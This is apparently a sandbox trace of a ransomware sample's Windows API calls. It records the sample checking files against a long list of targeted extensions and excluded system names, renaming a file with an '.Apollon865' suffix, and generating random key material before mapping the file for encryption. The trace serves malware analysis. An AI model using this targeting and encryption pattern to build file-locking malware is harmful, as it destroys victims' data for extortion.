	[0063.900] lstrlenW (lpString="mdt") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0063.900] lstrlenW (lpString="mfd") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0063.900] lstrlenW (lpString="mpd") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0063.900] lstrlenW (lpString="mrg") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0063.900] lstrlenW (lpString="mud") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0063.900] lstrlenW (lpString="mwb") returned 3
	[0063.900] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0063.901] lstrlenW (lpString="myd") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0063.901] lstrlenW (lpString="ndf") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0063.901] lstrlenW (lpString="nnt") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0063.901] lstrlenW (lpString="nrmlib") returned 6
	[0063.901] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0063.901] lstrlenW (lpString="ns2") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0063.901] lstrlenW (lpString="ns3") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0063.901] lstrlenW (lpString="ns4") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0063.901] lstrlenW (lpString="nsf") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0063.901] lstrlenW (lpString="nv") returned 2
	[0063.901] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0063.901] lstrlenW (lpString="nv2") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0063.901] lstrlenW (lpString="nwdb") returned 4
	[0063.901] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0063.901] lstrlenW (lpString="nyf") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0063.901] lstrlenW (lpString="odb") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.901] lstrlenW (lpString="odb") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.901] lstrlenW (lpString="oqy") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0063.901] lstrlenW (lpString="ora") returned 3
	[0063.901] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0063.901] lstrlenW (lpString="orx") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0063.902] lstrlenW (lpString="owc") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0063.902] lstrlenW (lpString="p96") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0063.902] lstrlenW (lpString="p97") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0063.902] lstrlenW (lpString="pan") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0063.902] lstrlenW (lpString="pdb") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0063.902] lstrlenW (lpString="pdm") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0063.902] lstrlenW (lpString="pnz") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0063.902] lstrlenW (lpString="qry") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0063.902] lstrlenW (lpString="qvd") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0063.902] lstrlenW (lpString="rbf") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0063.902] lstrlenW (lpString="rctd") returned 4
	[0063.902] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0063.902] lstrlenW (lpString="rod") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0063.902] lstrlenW (lpString="rodx") returned 4
	[0063.902] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0063.902] lstrlenW (lpString="rpd") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0063.902] lstrlenW (lpString="rsd") returned 3
	[0063.902] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0063.902] lstrlenW (lpString="sas7bdat") returned 8
	[0063.902] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0063.902] lstrlenW (lpString="sbf") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0063.903] lstrlenW (lpString="scx") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0063.903] lstrlenW (lpString="sdb") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0063.903] lstrlenW (lpString="sdc") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0063.903] lstrlenW (lpString="sdf") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0063.903] lstrlenW (lpString="sis") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0063.903] lstrlenW (lpString="spq") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0063.903] lstrlenW (lpString="te") returned 2
	[0063.903] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0063.903] lstrlenW (lpString="teacher") returned 7
	[0063.903] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0063.903] lstrlenW (lpString="tmd") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0063.903] lstrlenW (lpString="tps") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0063.903] lstrlenW (lpString="trc") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.903] lstrlenW (lpString="trc") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.903] lstrlenW (lpString="trm") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0063.903] lstrlenW (lpString="udb") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0063.903] lstrlenW (lpString="udl") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0063.903] lstrlenW (lpString="usr") returned 3
	[0063.903] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0063.903] lstrlenW (lpString="v12") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0063.904] lstrlenW (lpString="vis") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0063.904] lstrlenW (lpString="vpd") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0063.904] lstrlenW (lpString="vvv") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0063.904] lstrlenW (lpString="wdb") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0063.904] lstrlenW (lpString="wmdb") returned 4
	[0063.904] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0063.904] lstrlenW (lpString="wrk") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0063.904] lstrlenW (lpString="xdb") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0063.904] lstrlenW (lpString="xld") returned 3
	[0063.904] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0063.904] lstrlenW (lpString="xmlff") returned 5
	[0063.904] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0063.904] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Apollon865") returned 92
	[0063.904] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0063.905] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.905] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=766) returned 1
	[0063.905] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.906] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.906] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.907] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.907] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x150
	[0063.908] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x100000
	[0063.909] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.910] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.910] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.910] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0063.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0063.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.910] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.911] CloseHandle (hObject=0x150) returned 1
	[0063.911] CloseHandle (hObject=0x154) returned 1
	[0063.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.911] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.911] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="Apollon865.txt.exe") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="..") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="windows") returned -1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="bootmgr") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="temp") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="pagefile.sys") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="boot") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="ids.txt") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="ntuser.dat") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="perflogs") returned 1
	[0063.911] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2="MSBuild") returned 1
	[0063.911] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0063.911] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 81
	[0063.911] lstrcpyW (in: lpString1=0x119e698, lpString2="VC_redist.x64.exe" | out: lpString1="VC_redist.x64.exe") returned="VC_redist.x64.exe"
	[0063.911] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0063.911] lstrlenW (lpString="Apollon865") returned 10
	[0063.911] lstrcmpiW (lpString1="st.x64.exe", lpString2="Apollon865") returned 1
	[0063.912] lstrlenW (lpString=".dll") returned 4
	[0063.912] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".dll") returned 1
	[0063.912] lstrlenW (lpString=".lnk") returned 4
	[0063.912] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".lnk") returned 1
	[0063.912] lstrlenW (lpString=".ini") returned 4
	[0063.912] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".ini") returned 1
	[0063.912] lstrlenW (lpString=".sys") returned 4
	[0063.912] lstrcmpiW (lpString1="VC_redist.x64.exe", lpString2=".sys") returned 1
	[0063.912] lstrlenW (lpString="VC_redist.x64.exe") returned 17
	[0063.912] lstrlenW (lpString="bak") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0063.912] lstrlenW (lpString="ba_") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0063.912] lstrlenW (lpString="dbb") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0063.912] lstrlenW (lpString="vmdk") returned 4
	[0063.912] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0063.912] lstrlenW (lpString="rar") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0063.912] lstrlenW (lpString="zip") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0063.912] lstrlenW (lpString="tgz") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0063.912] lstrlenW (lpString="vbox") returned 4
	[0063.912] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0063.912] lstrlenW (lpString="vdi") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0063.912] lstrlenW (lpString="vhd") returned 3
	[0063.912] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0063.912] lstrlenW (lpString="vhdx") returned 4
	[0063.912] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0063.912] lstrlenW (lpString="avhd") returned 4
	[0063.912] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0063.912] lstrlenW (lpString="db") returned 2
	[0063.913] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0063.913] lstrlenW (lpString="db2") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0063.913] lstrlenW (lpString="db3") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0063.913] lstrlenW (lpString="dbf") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0063.913] lstrlenW (lpString="mdf") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0063.913] lstrlenW (lpString="mdb") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0063.913] lstrlenW (lpString="sql") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0063.913] lstrlenW (lpString="sqlite") returned 6
	[0063.913] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1
	[0063.913] lstrlenW (lpString="sqlite3") returned 7
	[0063.913] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1
	[0063.913] lstrlenW (lpString="sqlitedb") returned 8
	[0063.913] lstrcmpiW (lpString1=".x64.exe", lpString2="sqlitedb") returned -1
	[0063.913] lstrlenW (lpString="xml") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0063.913] lstrlenW (lpString="$er") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0063.913] lstrlenW (lpString="4dd") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0063.913] lstrlenW (lpString="4dl") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0063.913] lstrlenW (lpString="^^^") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0063.913] lstrlenW (lpString="abs") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0063.913] lstrlenW (lpString="abx") returned 3
	[0063.913] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0063.914] lstrlenW (lpString="accdb") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1
	[0063.914] lstrlenW (lpString="accdc") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1
	[0063.914] lstrlenW (lpString="accde") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1
	[0063.914] lstrlenW (lpString="accdr") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1
	[0063.914] lstrlenW (lpString="accdt") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1
	[0063.914] lstrlenW (lpString="accdw") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1
	[0063.914] lstrlenW (lpString="accft") returned 5
	[0063.914] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1
	[0063.914] lstrlenW (lpString="adb") returned 3
	[0063.914] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.914] lstrlenW (lpString="adb") returned 3
	[0063.914] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.914] lstrlenW (lpString="ade") returned 3
	[0063.914] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0063.914] lstrlenW (lpString="adf") returned 3
	[0063.914] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0063.914] lstrlenW (lpString="adn") returned 3
	[0063.914] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0063.914] lstrlenW (lpString="adp") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0063.915] lstrlenW (lpString="alf") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0063.915] lstrlenW (lpString="ask") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0063.915] lstrlenW (lpString="btr") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0063.915] lstrlenW (lpString="cat") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0063.915] lstrlenW (lpString="cdb") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0063.915] lstrlenW (lpString="ckp") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0063.915] lstrlenW (lpString="cma") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0063.915] lstrlenW (lpString="cpd") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0063.915] lstrlenW (lpString="dacpac") returned 6
	[0063.915] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1
	[0063.915] lstrlenW (lpString="dad") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0063.915] lstrlenW (lpString="dadiagrams") returned 10
	[0063.915] lstrcmpiW (lpString1="st.x64.exe", lpString2="dadiagrams") returned 1
	[0063.915] lstrlenW (lpString="daschema") returned 8
	[0063.915] lstrcmpiW (lpString1=".x64.exe", lpString2="daschema") returned -1
	[0063.915] lstrlenW (lpString="db-journal") returned 10
	[0063.915] lstrcmpiW (lpString1="st.x64.exe", lpString2="db-journal") returned 1
	[0063.915] lstrlenW (lpString="db-shm") returned 6
	[0063.915] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1
	[0063.915] lstrlenW (lpString="db-wal") returned 6
	[0063.915] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1
	[0063.915] lstrlenW (lpString="dbc") returned 3
	[0063.915] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0063.915] lstrlenW (lpString="dbs") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0063.916] lstrlenW (lpString="dbt") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0063.916] lstrlenW (lpString="dbv") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0063.916] lstrlenW (lpString="dbx") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0063.916] lstrlenW (lpString="dcb") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0063.916] lstrlenW (lpString="dct") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0063.916] lstrlenW (lpString="dcx") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0063.916] lstrlenW (lpString="ddl") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0063.916] lstrlenW (lpString="dlis") returned 4
	[0063.916] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0063.916] lstrlenW (lpString="dp1") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0063.916] lstrlenW (lpString="dqy") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0063.916] lstrlenW (lpString="dsk") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0063.916] lstrlenW (lpString="dsn") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0063.916] lstrlenW (lpString="dtsx") returned 4
	[0063.916] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0063.916] lstrlenW (lpString="dxl") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0063.916] lstrlenW (lpString="eco") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0063.916] lstrlenW (lpString="ecx") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0063.916] lstrlenW (lpString="edb") returned 3
	[0063.916] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0063.917] lstrlenW (lpString="epim") returned 4
	[0063.917] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0063.917] lstrlenW (lpString="fcd") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0063.917] lstrlenW (lpString="fdb") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0063.917] lstrlenW (lpString="fic") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0063.917] lstrlenW (lpString="flexolibrary") returned 12
	[0063.917] lstrcmpiW (lpString1="dist.x64.exe", lpString2="flexolibrary") returned -1
	[0063.917] lstrlenW (lpString="fm5") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0063.917] lstrlenW (lpString="fmp") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0063.917] lstrlenW (lpString="fmp12") returned 5
	[0063.917] lstrcmpiW (lpString1="4.exe", lpString2="fmp12") returned -1
	[0063.917] lstrlenW (lpString="fmpsl") returned 5
	[0063.917] lstrcmpiW (lpString1="4.exe", lpString2="fmpsl") returned -1
	[0063.917] lstrlenW (lpString="fol") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0063.917] lstrlenW (lpString="fp3") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0063.917] lstrlenW (lpString="fp4") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0063.917] lstrlenW (lpString="fp5") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0063.917] lstrlenW (lpString="fp7") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0063.917] lstrlenW (lpString="fpt") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0063.917] lstrlenW (lpString="frm") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0063.917] lstrlenW (lpString="gdb") returned 3
	[0063.917] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.918] lstrlenW (lpString="gdb") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.918] lstrlenW (lpString="grdb") returned 4
	[0063.918] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0063.918] lstrlenW (lpString="gwi") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0063.918] lstrlenW (lpString="hdb") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0063.918] lstrlenW (lpString="his") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0063.918] lstrlenW (lpString="ib") returned 2
	[0063.918] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0063.918] lstrlenW (lpString="idb") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0063.918] lstrlenW (lpString="ihx") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0063.918] lstrlenW (lpString="itdb") returned 4
	[0063.918] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
